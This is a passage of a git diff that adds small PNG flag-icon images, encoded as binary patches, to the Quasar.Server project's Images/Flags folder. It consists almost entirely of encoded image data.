zSzcL&Zwvqd#Pa7K10w^wlkmIISh(4kI3GTJhN2$mzJLD! z0*D0|DC|s(0(}1j8UFtJ4HA_S5@P=M@9)2VV#30}-~k05FvNkXnV5ck`2-L^EDTKl zn1259n3DG7^QXUm{{H**3#f!E|`n6Mz6>fhdBj29g(UfB*aM-=Dw#|NaG$fByXc1LXhxFC@THKjjKQ05P&# zA9gbr+SsEBRPB^?1!&T?30hEBFhHFGv5AR^>DH}B00G4E=NHV45I6k$@0N4rAH*g9 z{zDN+_&*OP%Y{RC0Ro8e#fvv0A_7PTA~XKMG0?q08}8kE2oOLl>koag&}IJi^WT4% zN&g{c!yE%t3}J9_Fdy0V1t5S}4xV|TB*XjR%dfvcU;YDm6wdeu;Q~GU4JP)J`S$qz^!f=A3G?{>83*rF;63vB|NHv-`~3j>`uzF%_#GV;x3_Tu z05Jg0{{&$2KZ#9J4f5RdzRdzC6Ae5p=(o+T{uB7y^ZNSwN=h$cVmJ#62-nx+ob%l!TKAE1V~I16T$|E1+i#l`u&y!03t z7ytqQF#yj01Tv_Ick58z;rzG}_y7F-%)*RRAv1X@1^f8;`}+eA4+yBm#PKA>w6y_L zQ&a!|00ICp0M7peY0>I$KneW(?7rp&{QCm?`vUdU)NRiG`uYI-`}gbY@;Dai8vP{| z4h7uY=>Px#0*Hx$0pxvffc*LW3+PFp{}_J#0ty11^n2!vLjod>mX_Jy|Cz2{eHy3% zAb?mH7=HZ$2N_TWSP@V&gaITO7A`uvc=2f<_uIFxDk_pd4FCZI)bI_+mz3lOl7E0f z{^u`PGlT&Y`3GeD{rm6lUtS;y)Bq4bz=+dkVE6#Ehk@Y-82x6z3jhKP0OI&0DF;s+ Q-T(jq07*qoM6N<$f)`^cRsaA1 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/gt.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/gt.png new file mode 100755 index 0000000000000000000000000000000000000000..c43a70d36424b66f1627216ad988cd23a4be9285 GIT binary patch literal 493 zcmV|9}7f|M~m>&%ghRD!%{(5DNnfNcHoNKp}=7 ze;EG#|IZ9j4hBF)cVB@t{Qmo2T96TF4?qC109^ty;2+Qi2B0xObN{1)Uw^{8{`KJ4gZ0H zP(J{D2s9NSfWR7{27t^!x8NVhN&g{E`Ueb#e*ggla?+pwj3Cv27=VUhwE^V&zaVoN z82$hR5DUYve}Dck14V%vK+Z)23?LgAK*7ZT@-zbjKmf4-BkT7+CNVw+pd~+kF)%WM zL>VCz0|PT7gS-eZm>Gd?16jcE4PH%g~!@=<9&!2x_@aEGW jS9>vVD)6R*AQp(xFW-Wt{{mJ2|NHk};Jc-)O#kPzME?5A`1{ZQ-#|To{!0im{$XGM z2p}eq*?*y`{{RjC%V7Pj<(}hvo^Z>=hrJ-xK=d0#0&M^~2_S%&fR6tAp8=>2$p8C? z0q7F5H=q9h`}OesIT^OczkdG%sRkpU6i@>|0I@Lq1-k@j0La}yZU2}V|JX_T{{Q!% z>EEtDfBydd!vuBJUq+w?fB<6o2X+#W53~WS;s2M<|9d72Yseq)`11cZJHs!aS-+wF z1}X*!ASNLG{ST%Ze}QTk7ytqY@{}>p)on&BOV)*xm;om>72$%sP!HhqD7ytr@1teTu4J7{m`^Wh2AGglm{~UiA z82u;s5_9PZ|FH1)~3de={)r1*?FgUtsi`kx>?C4?qC1 zfX)8@|LZe*d2K>lZN0{{I4*^b@QIr~;(tA5`a`e}Ddhy$ldQAPvkwr9kh3`~WiS7Zcc2 zh-#qDKOj^7{QC<;3||-k0tlpm>GvN7NlB2NKYyjTe{-?^h8PLd@aHekus?tQg2Ee! zfN=^CK#X6(5e!Gd)(i|h;JEn(j5jcXFhHq*fkB7?Aiw}&uW^ngBcx#f0000J&k9ol;AaCAG*Vvs6lsG2f+AJUecp&K4&zS7@MzJZZ+RCHJO2~-cn~)8*ZB# z%#~(Seaqctb3On>xdArM!+zLfe2=iS%3k1HK82I)yo62#|&;D2*%o~N(LQ$HrxFU=@<#wgQDty7s|5?>qxBTrc>UoBZ!}1le z#)a`Pq~$aEPO=D0fO80I7h5SSMqU=q48*j9Qb*%7#+Pi|ervSf?0bSFwKsAPn1FO| zKH_&kh#AJmvOUSnl~!1AmcaNJM5awz`0DF46>zWZuCh$z(7uBp0to4w2iu-uj zV9oc#M;CkJ!OT_8;~(;r&Cw`0K3r=(%@VWyiIA#;S}+n)^}q>|)QZ|IaYyyY!;frq z6mATysX~aM!z!n$rJ$=27fpoIr3iB{q|Gr32uDRa3PcNj==OQGHve|07^1DbtUgzuEQ=j%rDF literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/hk.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/hk.png new file mode 100755 index 0000000000000000000000000000000000000000..d5c380ca9d84d30674f05b95c2f645b500626c07 GIT binary patch literal 527 zcmV+q0`UEbP)00;JD`K-EmLvOuK( z0R&e6?>|)a-@i;iz|8zVIqAQ;I)|_@BNM~FU%wy-s0ZjAfB<3vx(uZH&mV?Ae;64V zIcsYEzkmP#{)7J;N}0Ju0muUq%~ z^Jl0Zz)k`PASO^y0(FCg{s2v4J zf4+RlSW)rg;lp2_Kl2?q^5yYkpazCNzyJOD%k=jzP%%INf#Tuc?>~%^l1w0DfWH6z z1E^V4lvz;l%d1x`a&jQQ{ROE8h7C|LKmaj5WMKG(8n4KVKd5of#=rm&U;y%qJ?5>3 RVzdAN002ovPDHLkV1mTk^F06n literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/hm.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/hm.png new file mode 100755 index 0000000000000000000000000000000000000000..a01389a745d51e16b01a9dc0a707572564a17625 GIT binary patch literal 673 zcmV;S0$%-zP)>fJ3En$GhGS>sbE%%m3$AD)q?8M9y>88-}kR7#RKlk!P~Y_PLuF7~U~3`~nC7 zF#yj00ZUDdpLsm{7ajP|&HwoK0Usg|6%f4L_{`Mi{rvv-`ukf=Ed&Gs-sA7L!Q7*a zj{*QO0M7pb%?Sw^g@yy{>ihEY{`vU@3=8@G0rvO$i3mOL`~mv-`W+b$Mmr&io5dg< z5v!7q0*L95jt`TzK8Kd(Utv)OSp_aLv){6ccV+Z`{Q2+asKUU&aO3`Kpz6wW8wp`< z28M3{0mSqnB#A*-c*8%1=RD#sSOwMznKA3=e&iEzwo{cA=PgXK`2OQ}gqId83!|%* zA_Kz@fB*n70M7pdECCwp4H&@R`1|(w-}M5x*74i)0}%fAt;XafA{48))#>Z>?CD#}*e}Ret0tl$#*RMZ7}Jl7Z|M45`5*URzH9L z{rmSnPy;{!u>dsyO%meg+00000NkvXX Hu0mjfN{&}S literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/hn.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/hn.png new file mode 100755 index 0000000000000000000000000000000000000000..96f838859fd2aed975f5f4134050fdbc0486ce1e GIT binary patch literal 537 zcmV+!0_OdRP)yNpn^YtfB*U? zE6K^g@B<)#SlTBTcsfda`|@_0R#{e$UZ3l|Ic6l=B#}T zWCl5lg}RFY8S^$g{qgfJOdc2ve*glAv3c@IFK6|y-~NDH^$#cn3{a5k!L9^_5>O@B z$^W^zSlTD;0tg^R28Q0WdbfK|zW)9V43odV{`~*->+kR1AO=tbO#T4}-G3E1?u#4x z0Ro5x7#++k42m+GppXWk{}2W^;6Y*k7i(1vOT1`b$6{=&w9#5#oJ b00=Mu*}Zhb7k&Za00000NkvXXu0mjfKokPk literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/hr.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/hr.png new file mode 100755 index 0000000000000000000000000000000000000000..696b515460ddb670acb7e9de4438aaf21fc5fb77 GIT binary patch literal 524 zcmV+n0`vWeP)@|4`Xj5kLU3fF!G{fyDoR{}_Q36Vv~H|Ns5{^Z)NZrr*Dqe*gae=g)r_`DNuw zfB*t(VEF(4$y0{Ee}M=nS{mB(NB;kxJOBSE{F_{n`2Y8>|G$0##TjK~fi?gH5EIz! z|8Uj6|NiY-l-<0|OxA@1MWlzkmOI;leLR z$De1;{4g{7^y$;LZ{NOt{rct07a;lk`E!5(f@%OM1_PkhC8`eE9egqWbga z&p;hdpFRZ$Adm)#>fe8W4*Ct02B|hR1*-n0rS<;(dx&bFRY1n$$BzL5h>;=uaC^Mc z(+@v?|NZ~x@4w%F|9yUZW7+yTpo@LH>e(bUfFghX{rmIxzpNnpimU?w0mQ=a>kp9s z8>AGffmuv7DrFgv!3yU7{`2q8f1ngFoPlxn4AoS-S!;e2821p2q{((sbfB+=MK@k8U5Cg$|VB~~? z2XKWZk_lAZtGhi{|56nPieMKY$Bq=4KgZ0muK;2JYWn}5;nka8K-GUCa!{rJenZIL z|9<}gF~mh#ftCOS5DU<%|Ns8~1)2?0{RgZLWF&|Ls)lL+iU2hL1Q5&LKMX(>AUTM^ zNU9+S#0FXN@8@rz^Zx+^5DWL07wmsTIe-5EX@IBzTJ`52%kO`z5F362$-h7b*KaNc zh6exv#P}EJiR%3Sk01R1^NZmZ(C**=fB*Xb3rzn04HN{CU^bJS()(Sf00M~R4FdxY z(0f3MKYtkh0!g5OAQFsz{e$TF`x|H}%fCO*7#IKo2o$W~FaxWA8VofRr202h8w1#j zz=!|{Ah3qte;CCj89_$={rBfLBSbS$5J>(7`GW}-*g)q41Q6q6a2)=FMdm+9l%onl dL?8elzyJ+{hsuy4pm6{I002ovPDHLkV1hP90PyYjz{{0J*12TXlP$`i71!VmC|LYf!%PK1iv=Z0I@Lq zVgLrRB#$I8Q2qeT`3KSlX8!?(3s3+U9e@9T1Mx3N13&;VGFUSJ^?=Y13Wr{r~&-|6d^ahvDC! z|G)qK`}^nrA0Ybu|2K$nd)6X=0AgWa1{?O`IRi-PU$8V7{r&w9sOb0ae<0Pr|Nr{M zEF}%J0U&@_82&N|Y=e#y>zg27mx!0Xgp5*S}vr z{r~fq0csvl>92pk!P<5VDfB!NI2#TFQ3lKnzfB%Al=06ZHfFW+c#KiRe{d<4_V)^&)A0s0pNIe5S)eu>r zF8~6F38(?TQZ#J<0R*xEXct5e0}KG|WIzExE=U%r7$AT^8h-rv@ecwRzz_$3Xaxu` Y0RLik?wUgPu>b%707*qoM6N<$f;0ZTz5oCK literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ie.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ie.png new file mode 100755 index 0000000000000000000000000000000000000000..26baa31e182ddd14106e67de1ac092a7da8e4899 GIT binary patch literal 481 zcmV<70UrK|P)1Ab?mHSU}=WzCQi??=KL1`SXRBmG?g! zeExSVgb4YXfjasA0Ybs`#&c5^XvcLUqDM3{{9AP00d^^H2e48-+%sM)d02u=%hct8G!N( z3;+QH((o5-_OE}xfO;@2_y=+i*h!3FCjkTyNW*WSt$#tPfB*dj3@CIxKqoQ$2DuvO z1O^6x00KJ+r1UogVe!Ksu!etsL5P6?Ab?navG)7lA4zUWkT?GPWdcP410y3N0|YR! zFo-FE!v&-P=p=vuVq_>~VE6=zV^DnmVAx)=U5ZNz6vaS)0m(NHWW2-wfs+9Q00bBS XO2cxg3=*#z00000NkvXXu0mjf|9Z^l literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/il.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/il.png new file mode 100755 index 0000000000000000000000000000000000000000..2ca772d0b79b255872cde2fb29060bbbbad950f2 GIT binary patch literal 431 zcmV;g0Z{&lP)WlqUuh`uiUU82D1+EBLb>EWz|Nj3k zj6%@>aVJ0ku|Ql5RsEk~{?`9D9{=ZO{V&1vKX2lHHJSgJ0SFC1p8y096I?Y|?05b{XcgblKTHZ zfByjpAQrd=h&?HOAa>`R|6Hv9XB30N3RxDY7$AV4en1PH(j<7uAT&Tc4G=&q@-F{c z8i9e$01Rv(35=ybe;NM%WdxES!M~uG0dj%y@b5pvikg1_0mOLw_HE>d#AF}?ph|!M Z0{|%qc@l5wel7q2002ovPDHLkV1m6PxaI%= literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/in.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/in.png new file mode 100755 index 0000000000000000000000000000000000000000..e4d7e81a98d705da8d7054e77e7d311805659678 GIT binary patch literal 503 zcmVl^KlW*80IEmzVa(K3*_6 zG7fg0I9Zj&0woGah`r_&Kwu3FK=xChQigwjfh>?7kc!_h@)sEWW@MKI+5iwhEdRtz z89B8WSj7JS|MwrL=l|b3uZ7Osk^B4auaUxSRgtG4v;Y11_x}$gi|9Y8?EnG9`1|i) zCPv2p|ADsrhuF4k`@Nr^zUpfTpS$xp!A}Wj4A3Yb2~_s}<0pUsVqyY2p8>1`g1&zJ zsVvR4Yya)fUw{4wtNss>0tLxGfB<5GmnRH!zxweH8<(Mq0N7e&^ba6_ z7#WHgIs!VLeti1p-=9B!fB*jb=l8$ge}LrQ-#`%%`S%Y9{re-sFSERHIY0ohF#KVF z2*K4Ml>Ykz*ZJq)UtlmW{9*tIAQm77@e!0?Mfa}mS!7%=x2KmY(S z0M7pbTSu9imq`K?75n7n_u%3MB_szB3#hl|A07@E6$<6-<>30S5egmg@cSkZL+Ix9 z0st`p&i@3O7{&wE8wU3C1oia^`T7CwI=ckcau@Q71iA1L?!*;{7^Nm*&$?GLJd|NjPb3=0E0KfCb4 z#nAu(05Jg0{{-+tQ26`)!^rI-{P_e371QGlF%9qW_x;Sb;QRdk{r*xJJ*zy?_rWgu z&$=$1lYjzR(%pFe+p|Ni$IOoG{eTR0XemVUia$~;LXXZeDO z0096o0M7peXKyl1N+90g@dyY5ARP|N&gc{s2^<#+#>?j*9u48*^A9U5-*(6(kqBPq zC^|QM0*Gbi#3NFYyicBf1{wyk;Wx-spzFb0kX0fvuWZ`CzyHEKd)}3G%ew&r05Jg0 z{{dZPvvzMc=Kqyj=IHYZ2nGGUe(f)J7ZwZK+v5TV s=!a5B6v9X#`iH^&14cjw13-WQ0BQ>oQ(TIK+W-In07*qoM6N<$f`&OQ@|4`Xj5kLT%`al?B=W5P+gNxB&nJfgpGfTOih;e`=>T z5jZ8;?_>v5xi(~iU^udv!6f5$jpNVh2O?$m1OPDr&i?@Y{r&#_{`vm=wBfh>{Qda+ z{Pz3$!R5rm=Ee2+`0e-d?)LGV)1LD5^!4@i=jZ1F2;wA$U5|F$_;B;f&rf1p(qbG! zCte(9VPa-y5lGpbZn4ZFhzcT9$vfdqmuG z@j$ZG>u9())mkwqmYHSd7eFi*FJ3%$?AX0~_kM%HFED^GKqQ#;=g)7T_f%9=fX)F3 zAdr)QMoCIaf{X{6{|BNG$o>N%f#5F;02KoS5XlH2zyJ$0KZ{``H1_}i002ovPDHLk FV1nFR>VE(L literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ir.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ir.png new file mode 100755 index 0000000000000000000000000000000000000000..c5fd136aee534ecb59914e336cad18d18ead2a4a GIT binary patch literal 512 zcmV+b0{{JqP)r;gUH{1e{Y(x2_S%2fSMQ?7@vH7`tSc=xS~J*|Ni>>`_JFszyAFKs{8d9NdA)L zm1AIH00;mv0M7pew_3Ln1`-ek5ajjb8VVZW^Whu|9pCfc910uY_2L}~8{YEX9t$4Z z@!Kj9D)d(L0*LYN-@lBEj6f&-|Nox>4F7-s`Ty{t|Ns8~x3>Pz!S){pfXY67`UDU_ zOc38f#US*GW&hv2{?Eqpf6;>f$N=n5fB<4bR}BO)G5?=F{eR-b|HMQT_5c3^H2?$< zb1geNgNn-kGiMln{`!CM;{TsNL8PAke-;*?JV+Z*eYOvhv$==KunT1sF?AKYlWZiGf7_{AKv_o8k9wMiBcC z1B3*kzkfmK*Ds)AfB<6r3XWMgVnF4hNdW;sfB^vU;z%SnI0)(h00004s{hykP}!$Xp8x`g@iqg4NJaUd z$B+Mm%>4cD_iu*Zzrl=O|9^qF|9<`Y547mdFIIVlOMCYL1Q5sui18rvfj0Ph3vJwt z)dnUeruXmP0|XEYv&@95W{1bGfWG{@sKWZ+FOVO6s`df7U=M&0& zKrFzJ{`2=AL>j0Rra@ocD)4hB}-f* zN`mv#O3D+9QW+dm@{>{(JaZG%Q-e|yQz{EjrrIztFq(O~IEGZ*N=lh=;=qSyMwWku z27eMOW_|f0uQeek^e_9g7KH|eq{JVG0^UaP2Jy4}|L^JL_3uCblfVD@mnS9t`~UCn z|MT(+KT|KOfz%~1cG~~^_2vEk{SFNQ?Cjg~|NsBWy<%2im{vp^YdeS=hk-Cyo6U`Hgs{l4FR(w#{P`G0;a3G2@YSmzI~fu(ZE1> L{an^LB{Ts58L6#6 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/jm.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/jm.png new file mode 100755 index 0000000000000000000000000000000000000000..7be119e03d203695325568174b72522124bb2f12 GIT binary patch literal 637 zcmV-@0)qXCP){QLU}0{l%6`#}@@_VD{9F|q;xF#yj01gpgWJ+A*m zGUYZW{T>4SpXmF{^Zon(`}_X;`}_MY3j1pm`Wy}V&B*(tydCWT00ICp0M7pd0000m zGd#J&@cQ@tG$8vu6a54J`qTCN{{H)06Z&u*`VIU0o2UAMn)~_v4c^|~0*D2u;qTwS zKYspMz5CDEtAAp>e+Mf5)@1$t_wR2Fu3uNK{_0!&`}CDxK-+|V{{|`s2p}dP{`2SW zZ!oxe=XdSY-}fK=Qse!l!T0O_!(X}WAk`4?=MOLh7ytr@32Xz9{pZ*3U(#Z~DiVIl zOa8j^;n%JAKjo!$j^Xni)Y$z6WB&k?3JlvV7}WR}00ImE Xyv9Bjb9W)}00000NkvXXu0mjf@Xt#6 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/jo.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/jo.png new file mode 100755 index 0000000000000000000000000000000000000000..11bd4972b6d5f134045d4e8ce134601ea9b5654f GIT binary patch literal 473 zcmV;~0Ve*5P)M00|Ni~>`!`VeZ#eh`f&K#;fdS|pfB*tJ>FU-06DIsWc#z@uumAs9{`&>~&q~MQB#;&cfB*tH z31sk|Jq+K!KjiuK-^&B5YLK~LCjkTy3s3{|pFco7yH$Tr@L>D>cm1y|D}MvS>F@7f ze}Db{_vg<)5c|)+zsmedM_Y~p1Q1BWd$vDo!X?isvq}Pk|KA^w>VH5L!1(y{_x~TD z9$-NK{r~sxzrPHB7ytr@v6F$JJdlAwh=Ji34E;f3{DCq4fk_4ifB*vkxQ1J~H9>i| P00000NkvXXu0mjf0T$ba literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/jp.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/jp.png new file mode 100755 index 0000000000000000000000000000000000000000..325fbad3ffd3075a4a84d8d898ad26ef7d3e0d56 GIT binary patch literal 420 zcmV;V0bBlwP)9whYk?f=!Q|Ns8||JN@lTD;`{R1ZWk|EGa3dAO8ObDh3E3Cb;oH_5X#1 z|NHy@|M?558b}5Q|Cf`4hZv9q2p|@?lb|{i68>{>{ol0lx`{mi O0000=G`P)0NEt6k^VGA)9E1hT9ocRoN>wSfaWv)?-raRm?)Slj<6Po6w} z{P+i;{`~nD6~!ec29@~tkBNo($fnHz0mS%{fq}QS{_m4#|Ns2?|K~SQUHy-* z`HU>AfB)8feAoK(-@hL}|Nr_0bQ_Dj+^xMk00K}f2RQ&hFc1JYLgN3=lsJ)M+p3uR zWC5ydAM*!ly4H1hsiEFvIU^1)HH_GYz!QMsIYt5i1c4ZMLC4DfztdU-q)WGxxg;|L zi3%uAJ2fm~N8&I2%AdL;`{4^9#;e!&D=C-&Lk8;9|NlO`c*HPy9@C${KeOWnB;`P2 zATRu9VP-jSWFD-S8kh{*zoh2aO#pT8A2W0o(w3 z|5bef!~)j#|KF3RAf-U``!@sYUq;#A42-}3UHtv;%kTfcfBpOQ3nmTE<|1vNq z0ns0zZx{dq2xP;5h!=kY&G_~A;V*`-zy9<8Vi5ZI|I4p`PkusG11$kMn1KNxfWUtE z{TpHc!>?a|&i!W8{>5bQ`~TnHf3N=fz5nHq%!z>% literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/kh.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/kh.png new file mode 100755 index 0000000000000000000000000000000000000000..30f6bb1b9b6c5bf355f67a17531fa73beafa6639 GIT binary patch literal 549 zcmV+=0^0qFP)P;@arD~1pHxO_zPr1&>t9y%wPZrAQpyS3=Ms1K-T|%K*j%o>i_=z2W0&D^Y8ax zhQELQ{rLl7|Ns5_-|C4+00M}Gf#D0s|6k8u{RAokD*W^JKSaeZAp18+HBcQ8{rdA) zTAYJ{;SE3lu^j&CtN66?*W<_k{(=kvTJiVSPc{h&pyuy)ZZrJ(`}gOM|G$0#rP$=; zY#H_d1P~L*>3>1SGXDMzbOE=49-9EaM0J&9T`emwH;=g~P!Ocy*DnU30tNVGcpOKXK;IXGH`G*aB%Pig@_cF{AXeP^XnG~{rU5QfdL?ZSim;?VE{Sy z7c(ax6CWR+s|%BWAkauYPfsQR0VXz9sPSMM00M{!7+@fO0fqklmFn#S3Nf;>{s#gU z7DjgV{|pRrOO`MKef9?wUO?vn1P~(w!@{x_lZQ{f0d@UhVEX<0FF08K{sNMJKnNIa zzrX(mdR{@6d*A9+009Ja65pra?7SkZU^!3-{)PrTC`>`Y0b%_6|LHH#J`sQb0@|>a n0T_AEh(trkF%3aX009O7j5IT?Rho+J00000NkvXXu0mjf2r}#E literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ki.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ki.png new file mode 100755 index 0000000000000000000000000000000000000000..2dcce4b33ffe1f40d490cb1a2e03efe22ea56155 GIT binary patch literal 656 zcmV;B0&o3^P)8t@U|NsC0_uv12fBrK4XN%za&+zB_ z{P)aXfBpaa=ii?{|9}7d|NHmt1seeZhy|?e|DWei8UFwK|L5=jKYtkh{P{kK2}m(L z`||tm?|;94|Ns5#-_IY+QnEm+00M{!r2OxHhJR4iK=k+TZ>A77)*#lue}Db^^$Tb= zko*TE|NI8J3LpSOb8Z9x2m%4nC$a{*Gqe90@enzQH`ta%tA$7d{Sv5iP&~x@8dMF~ z(;dfh&fyCHF#yj00oRR-9sTeJMNR(n^YxvS3U`G57YhIQc>VqR{rPSM@(uBDU=5F+ z{|5&5hj_*A{sI6o0M7pbe|x2IYDAmA_)R$v7XIy^!u#*~18PtP{r&xWnDPVw`hiji zey{rM^8J)$5m8%@0*JA9=57`qRaXnayHCFDJ@r1pR}vUfQ&&Fu_xE3Vu+-%{U$!58 zQy3!)avcufO?mzv0@a%gl z1HS+N7!IC&H?5`#AOHX{0M7pb00(zPR4BWp;5AJa{{8^XwcY>#`eSh{`1tyzm&^bF q{8L{tuE6I1;oe7AG|b!z0t^7P6ga05`yJ%~00001r;P)}L!W`0l>rF;|7So3KrTcC!ho;=0*Gbf0S0@;YBwbYEs=i=3_$ev|Np-X41fOr z{{tp}0~v7g%iT=?0mQ<{9!@# z-(SD~{`vL)_wRqdfBpaan?+XX#@15+0mRIp%kY{1qrJR?xs-YLhQhSVzk_f6;`sgh z57Tc3#$ODKzZsZ*F#y?2e^`Y0-&}tV5I|5HD)yDjz7nmS1pU~~aVF#A6wD&YtO00ImETIDprOD_2B P00000NkvXXu0mjfKOhx^ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/kn.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/kn.png new file mode 100755 index 0000000000000000000000000000000000000000..febd5b486f3f90056637b23caa26d838fbadd7d0 GIT binary patch literal 604 zcmV-i0;BzjP)h(K@ANy8uaQvQ^_nWcs z*Z-GL)eL_?t_B7*Kmf7KbznHW;LqhtK<$TZ9ej=*TGLweOZn#S|EVB#AOzI#2dDw) z)4xDJ00a;t5ND<*{rU5ogY7p9)8EGU->gS|Gwk>cG!LX2Y%nmu8NlfEl`8-N#0ZOI q248)K1w0H4M?n#d6+r+%fB^s&Q!OA|2rzyC0000Cs@aq@DuRlQczuzDZ5@KTj2q4CTH~*`MftCON|DS>3-+w6c z9|(gO{~7-O`v>9vKX&5_Kmaj*WME|P@B8=S6~kYUnG7sU|G#_z>G}QV|KC3#^7rq5 ze}4b}^_xjb^7)+E00G1Tlwy4KiiwGVIVgltUY_yi&tI!o|Jl8p;n#15-@icU*KbCk z6Mz3^`1ON{fdL?ZnEnBs@%JyYzyH5mxBfr4|7*t%=AfYeY;6C2{Q{!DKY#uG1wwy- z+}}Xm3;+QH(!lWNFN3HElfM4XRjZk-tp4-xFo=l!{|(XrbkBdVP9XXJ&!0aG3;+Sd z1adCWtuJ2w-n@w=AmGpT?F`?)|9k%Y-_M^QML&N+RfBB+Dh3E3pdT0*fp#rf!j_o$ zUs8faP3>oG?f*A#7{O)(oeuE;(0C>wVqgFWAQqr4|9E)*J$m%5y#o|bz~KAxm4S=v zKP&4$usU!k0b}RSKS4oYgaHH)%c-;9wWL`3={r0|OreK!5=N4TMk7RCwBA z{P_JV0}}Z6?;n_iu%H+Q{s1vR05Jij`8c?M=-GouSI=K${m;n9!7aeW#m~(x$j!^i z%zXLG*~fS9it_V|2?zl-00a;V#NgMjUvJ&I^~3uQB4T37ii-d5-u?gQ&wmw_XD?o^ zUAsm=P*7M%NJdr`Xazt3fo%By|Nn;%AAbM-ZD?YwEG7BBxA%WR!T-FR|8><0Vxn$d zUT@yKdH&)BP#Mq$fB<3y`hl076R7Rgt5;mSyo`Gea7>-}|M%}Nf0%y${3VbO@hKwm zAWK?W z+TGp#<;$01Vv<1pdP-ancZ!Qkd3bmLHK?nrgX5I}Ab=R3zkQ1wk#LIP517FKVgLC9 eRt>}e0R{ktF&Q^6#MUGL0000@P)xg`upqGzh6Lx zERQVE2><~E((v!!|G%IA{@M07EI*V_ln=0RjjdN{oM|h)7EO z{{7?6U#34`ML_iD4-=RKMg|km5|FijfgS(|AV#2u+YAh13=HqUkqe1m1{eb(!T=Kl c0)PMm0G()MDW>>^I{*Lx07*qoM6N<$g4p`a`Tzg` literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ky.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ky.png new file mode 100755 index 0000000000000000000000000000000000000000..15c5f8e4775b2b68e0360c1f4ff1f37e61611276 GIT binary patch literal 643 zcmV-}0(||6P)0{QUt82Kj15^L?rd`uqE`oNxjFF#yj0 z1e^fI2i-9Q(8&Vs@%;Dq2on+Z{QuwM00sm0@b~}!1OzrH#hk+X+Tt}E6bb+U_yPbi z0M7pcvI;2tA|wYPA^Z*x0300&EGqR875n@A_WS?(`uvdQq*oFTSt1&p=b-!h{Qv;{ z0st`p&i?}PGCBeX39IA)-~tZg`v#`;6$Tz2`uqI%`ThF(|NnA-^wR?L!uSAshx_~g z0000205Jg0{{tif814-hz}E2g`1#%M`@GEN)${-9=jr|Z1Nim(?*qH%B39iMC&AR2 z>ggNf+PVUWW##cF5^jI~{P}h24a1+`jKBZ?zJB$|uU|aB82|la`WF`1`0wBUe?VZ- zRnf8uXahh1u`n?Z4sYX?@pO{;x_8g;0tl$# z2T+})81L`j|Nel$KOpz_zrTNegN!(Tli}h6pb7teeq#K~3=Aa(fB<4-V9 d!wLWb3;+YKCC*ol*cJc)002ovPDHLkV1loTFLeL_ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/kz.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/kz.png new file mode 100755 index 0000000000000000000000000000000000000000..45a8c887424cff6eb0471f5a1535139b965e241e GIT binary patch literal 616 zcmV-u0+;=XP)g01!ZoKn?Fz`<^k#?O_Q1 z`=8<8e}=z6_5c2{{QvRuAM+0emcRf01JR%V|9}7gKjGLHfB<4)U|@L0AiL;yFw=jq zasNSbGXHKG{NMlfpWxpAK41Q^gEaj6FV4=$@arEy05LIu!2gi{Gync$`1$|;-~a#q z|NCw7f0xa__4fbPn*ZDO{onuJ|3JnA^#F|o2q31v4F4ql-&_7K9cVD)|KCjiesKSP ztM&iLe}uy71TZ z|DRv){|H?Bqoe!x=x?wkfBu3(0w91`fMN3Vzue;gQUCt^|MZVr;{RRU{|DCmOS=6} z@%2BU5C8a_|1a6~&;1YB8$b;J0mKBvKpP_e^#OhS_CN2(f86)~DtrE)Yx94t!v9OT z|MTDe69TJd_zQH>zdry01PrBrQvYt3|7!q-C@@&>{!_XBPnqZ6E6@K61pYml`M2uu ze+NdW22lI}1Q5_kK)3wPV4bt}e=;a?{xkdrMUmL?|7pP3c>kYY0b~&4U$AjN34j1% zWLW#P{SRLy(>r)v0s|Y${(}_LK*N79FfcIy1Q-CnX{(%t#68R664G@6GIJN-*24NrwB3rW+v!ydOp^Ef6{n_)(btIFVjHa=pdp6)} zz^!@$h^2tpKUmc4)64h&|Ni?2LVth#{QKwk-@kwU{{Q=j;qSk{fBpc`pWlD@C4}l3 zHUR_xF#yj01d}3g9TFqw{rUX<|NZ>{`TG464+L38761SLpR(uO=J){s0Q&s>`~3bJ z6bIb^kphT`;m^O{e;I!LWBmP>@yDNkj7*H>@iN-VTtHNrD96Ue^ySz8pMMxZ=pRTg zKmaiT)&Bj@@b3@E4ZnZ>72sjw}n?8s2>T{qV)lKMV{%|NQ?241(YPff@h;hz00Cp!a_N2HF7% 